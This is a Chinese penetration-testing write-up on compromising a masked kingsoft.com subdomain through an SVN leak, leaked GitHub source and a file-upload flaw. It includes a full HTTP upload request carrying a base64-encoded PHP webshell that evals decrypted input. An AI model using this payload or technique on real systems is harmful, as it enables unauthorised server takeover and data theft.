记一次某山信息泄露+源码泄露getshell
2022-7-18 00:4:55 Author: 雾晓安全(查看原文) 阅读量:65 收藏

挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下

0x01 SVN泄露

首先自然是子域名收集,发现存在一个很长的二级域名:

*打码*.kingsoft.com

因为是带着xray扫的,所以直接发现.svn/entries可访问,存在SVN信息泄露,进一步利用,主要是访问/.svn/wc.db可获取svn数据库信息
db文件可通过数据库读取软件打开,可以清晰看到网站文件结构:

发现存在服务器日志页面

https://*打码*.kingsoft.com/api/serverlog/index.php?p=7&t=2021-02-16

点击进入可看见服务器所有日志
以及各类服务器日志信息

0x02 Github源码泄露

在SVN数据翻找的过程中发现一个文件:showtrace.lua

发现内网svn地址:svn.funova.com

本着试试看的原则,在github中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面

经过与SVN泄露的文件对比验证,确定这就是该网站的项目源码!

0x03 文件上传getshell

赶快看看项目中的源码内容,看看有无利用点,正好发现存在个upload.php

该PHP文件会在save目录下创建一个通过devid与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:

其中前面为日期,后面为小时-分钟-秒数

开始构造上传payload,根据上传代码分析,文件内容需要经过一层base64加密,把shell提前加密一下即可:POST /api/upload.php HTTP/1.1
Host: \*打码\*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://\*打码\*.kingsoft.com
Connection: close
Referer: https://\*打码\*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50

op=0&devid=1&fname=testhtml.php&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==

上传返回200,但没有返回文件名

问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:


webshell连接成功:

版权声明:本文为「gt4404gb

原文链接:https://gt4404gb.com/archives/1278

欢迎 点赞留言分享至朋友圈 三连

 好文推荐  


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247493060&idx=2&sn=e3ddc798d5978867c73297f38788f69d&chksm=ce682a42f91fa3542c82f656bd22e61bdd7734d4f13572b8fcf056d575a02a8ad2b921993266#rd
如有侵权请联系:admin#unsafe.sh